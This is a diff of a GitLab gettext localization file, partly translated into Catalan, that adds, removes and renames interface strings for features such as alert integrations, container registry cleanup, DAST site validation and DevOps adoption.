+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Cancel·la"
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr "Tanca"
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr "Personalitza els colors"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr "Descripció"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr "Activa"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr "feb."
msgid "February"
msgstr "febrer"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr "Color del tipus de lletra"
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
